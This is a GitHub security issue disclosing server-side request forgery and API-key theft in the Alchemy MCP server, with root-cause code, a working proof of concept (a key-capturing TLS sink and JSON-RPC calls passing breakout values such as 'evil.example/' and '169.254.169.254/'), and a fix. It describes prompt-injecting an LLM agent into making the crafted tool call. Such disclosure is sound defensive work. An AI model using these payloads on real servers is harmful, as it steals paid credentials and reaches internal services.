Skip to content

[Potential Vulnerability] SSRF and Alchemy API-key exfiltration via the unvalidated network parameter in alchemy-mcp-server #50

Description

@mcfly-zzh

Summary

alchemy-mcp-server (alchemyplatform/alchemy-mcp-server, published as @alchemy/mcp-server) is the official Alchemy MCP server, exposing ~20 blockchain-data tools. Almost every tool takes a network argument that is declared as a free-form z.string() and interpolated directly into the request hostname: `https://${network}.g.alchemy.com/v2/${apiKey}`. Because the value is never validated against the supported-network list, a caller (or an LLM that has been prompt-injected to pass a crafted network) can break out of the .g.alchemy.com suffix and force the server to send its request — carrying the operator's Alchemy API key — to an arbitrary attacker-controlled host.

For example network = "127.0.0.1:8443/" yields https://127.0.0.1:8443/.g.alchemy.com/..., whose host is 127.0.0.1:8443; the .g.alchemy.com/... portion collapses to the URL path, which still contains the API key. This is a server-side request forgery primitive (reach internal/cloud-metadata endpoints) and a credential-disclosure primitive (the API key leaks to whatever host the attacker names).

Affected component

  • Repository: https://github.com/alchemyplatform/alchemy-mcp-server
  • npm package name: @alchemy/mcp-server, version 0.3.0 at the time of report (per package.json); main entry dist/index.js, also exposed as a bin.
  • Verified against commit 10455b2b686628b031800b45a0f0dcb7a4611940 on main (default branch HEAD). The repository has no git tags, so the commit hash is the only stable reference.
  • API key source: process.env.ALCHEMY_API_KEY (di/modules/clients.module.ts:17).
  • Affected tools: every tool whose schema includes network / networks as a z.string() — e.g. getNFTsForCollection, getNFTsForOwner, getContractMetadata, getFloorPrice, fetchTransfers, fetchTokenPriceByAddress, and ~15 more (api/registerTools.ts:141,230,257,353,508,565,596,632,660,675,…). All route through the same client factory, so the bug is uniform across the tool surface.

Root cause

The HTTP clients are built by interpolating the caller's network straight into the hostname (api/client-providers.ts):

get(network = "eth-mainnet"): AxiosInstance {
  if (!this.cache.has(network)) {
    const client = axios.create({
      baseURL: `https://${network}.g.alchemy.com/v2/${this.apiKey}`,   // <-- network in the host
      headers: {
        accept: "application/json",
        "content-type": "application/json",
        Authorization: `Bearer ${this.apiKey}`,
        "x-alchemy-client-breadcrumb": "alchemy-mcp",
      },
    });
    ...

The NFT client (api/client-providers.ts:46) is identical: `https://${network}.g.alchemy.com/nft/v3/${this.apiKey}`.

The network value is taken verbatim from the tool arguments. Every tool schema declares it as an unconstrained string (api/registerTools.ts:353):

network: z.string().default("eth-mainnet").describe(NETWORK_DESC),

The repository does ship a SUPPORTED_NETWORKS table (api/networks.ts), but it is only used to populate the listSupportedNetworks tool's text output (api/registerTools.ts:103) — it is not used as an allow-list / z.enum to validate the inbound network. Nothing else checks the value before it lands in the hostname.

Because the interpolation is https://${network}.g.alchemy.com/..., a network containing a / (or #, ?, @) terminates the host early: network = "evil.example/" produces https://evil.example/.g.alchemy.com/... whose authority is evil.example. The trailing .g.alchemy.com/v2/<apiKey>/<endpoint> becomes path/query — and the API key is embedded in that path, while the JSON-RPC client additionally sends it in an Authorization: Bearer header. Either way the secret travels to the attacker's host.

Impact

The MCP server runs with the operator's ALCHEMY_API_KEY in its environment, typically on the developer's workstation. Under the standard prompt-injection threat model (an attacker delivers content the agent processes, which steers it into a tool call), an attacker who controls the network argument can:

  • Exfiltrate the Alchemy API key. Setting network to an attacker host sends a request whose path (/.g.alchemy.com/v2/<API_KEY>/…) — and, for JSON-RPC tools, whose Authorization: Bearer <API_KEY> header — discloses the key. The key is a paid credential whose theft enables quota abuse and billing fraud against the victim's Alchemy account.
  • Perform server-side request forgery. The same primitive can target http(s)-reachable internal services and the cloud metadata endpoint family (e.g. network = "169.254.169.254/"https://169.254.169.254/.g.alchemy.com/...), using the server as a confused deputy inside the victim's network. (Response bodies for JSON-RPC tools are surfaced back to the caller, aiding blind/again-readable SSRF.)
  • Reach the bug through ~20 tools, so a fix to any single tool would not close it; the shared client factory must be fixed.

This does not by itself yield code execution, but credential theft of a paid API key plus internal SSRF is a serious combination.

CWE / classification

  • CWE-918: Server-Side Request Forgery (SSRF)
  • CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (the API key)
  • CWE-20: Improper Input Validation (network accepted as free-form z.string())
  • Suggested severity: High (reliable SSRF to arbitrary hosts plus exfiltration of a paid API credential; requires a tool invocation with attacker-influenced network).

Reproduction

The PoC below speaks raw JSON-RPC over the server's stdio transport, and stands up a local TLS sink on 127.0.0.1:8443 to play the role of the attacker host. The server is given a clearly-fake API key (POC-ALCHEMY-SECRET-KEY-abc123def456); after the tool call, that key appears in a request delivered to the sink — proving it left toward an attacker-chosen host. Verified end-to-end against HEAD of main (commit 10455b2).

NODE_TLS_REJECT_UNAUTHORIZED=0 is set only so the demo can use a self-signed cert on the sink; it is not required for the vulnerability (a real attacker would present a valid cert for their own domain). All paths are absolute.

Build and run

# 1. Clone and build the server
git clone https://github.com/alchemyplatform/alchemy-mcp-server /tmp/alchemy-poc
cd /tmp/alchemy-poc
npm install
npm run build    # emits dist/index.js (a pre-existing type-only error on an unrelated
                 # `instructions` field does not prevent the JS from emitting/running)

# 2. Self-signed cert for the local sink, then save the two scripts below to these exact paths:
#       /tmp/alchemy_sink.js   — the attacker TLS sink
openssl req -x509 -newkey rsa:2048 -nodes -keyout /tmp/alchemy_sink.key -out /tmp/alchemy_sink.crt \
  -days 2 -subj "/CN=127.0.0.1" -addext "subjectAltName=IP:127.0.0.1"
node /tmp/alchemy_sink.js &     # listens on https://127.0.0.1:8443

# 3. Drive the server over stdio, passing a breakout `network`
printf '%s\n' \
'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"0"}}}' \
'{"jsonrpc":"2.0","method":"notifications/initialized"}' \
'{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"getNFTsForCollection","arguments":{"network":"127.0.0.1:8443/","collectionSlug":"cryptopunks"}}}' \
| ALCHEMY_API_KEY="POC-ALCHEMY-SECRET-KEY-abc123def456" NODE_TLS_REJECT_UNAUTHORIZED=0 \
  node /tmp/alchemy-poc/dist/index.js

# 4. Inspect what reached the attacker host
cat /tmp/alchemy_capture.log

Save as /tmp/alchemy_sink.js — the attacker TLS sink (logs the path + Authorization header of whatever arrives):

const https = require("https"), fs = require("fs");
const opts = { key: fs.readFileSync("/tmp/alchemy_sink.key"), cert: fs.readFileSync("/tmp/alchemy_sink.crt") };
const CAP = "/tmp/alchemy_capture.log";
fs.writeFileSync(CAP, "");
https.createServer(opts, (req, res) => {
  fs.appendFileSync(CAP, `==== ${req.method} ${req.url}\n` +
    `Host header: ${req.headers.host}\nAuthorization: ${req.headers.authorization}\n\n`);
  res.writeHead(200, {"content-type": "application/json"}); res.end("{}");
}).listen(8443, "127.0.0.1", () => console.log("sink on https://127.0.0.1:8443"));

Observed result

==== GET /.g.alchemy.com/nft/v3/POC-ALCHEMY-SECRET-KEY-abc123def456/getNFTsForCollection?collectionSlug=cryptopunks&withMetadata=true
Host header: 127.0.0.1:8443
Authorization: undefined

The request reached 127.0.0.1:8443 — the attacker host, not alchemy.com — and its path contains the operator's API key verbatim (POC-ALCHEMY-SECRET-KEY-abc123def456). The Host header confirms the connection target was redirected by the network value. (For the JSON-RPC tools the Authorization: Bearer <key> header is also populated; the NFT REST client carries the key only in the path, which is already sufficient to disclose it.) Substituting network with 169.254.169.254/, an internal hostname, or any external domain redirects the request — and the key — accordingly.

Expected result

network should be validated against the known supported-network identifiers before being used to build a URL; any value not in that set should be rejected before any request is made.

Suggested fix

  1. Constrain network to the supported set. Derive a flat list from SUPPORTED_NETWORKS and validate with z.enum (or an explicit membership check) in every tool schema, instead of z.string():

    const NETWORK_IDS = flattenSupportedNetworkIds(SUPPORTED_NETWORKS); // ["eth-mainnet", ...]
    const networkSchema = z.enum(NETWORK_IDS as [string, ...string[]]).default("eth-mainnet");
  2. Defence-in-depth in the client factory: reject any network containing characters that are not valid in a DNS label ([^a-z0-9-]), so /, @, #, : etc. can never terminate the host early — even if a caller reaches get() directly.

  3. Prefer building the URL so the network can only ever be a subdomain label (e.g. validate, then new URL(\https://${encodeURIComponent(network)}.g.alchemy.com`)and asserturl.hostname.endsWith(".g.alchemy.com")` before use).

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions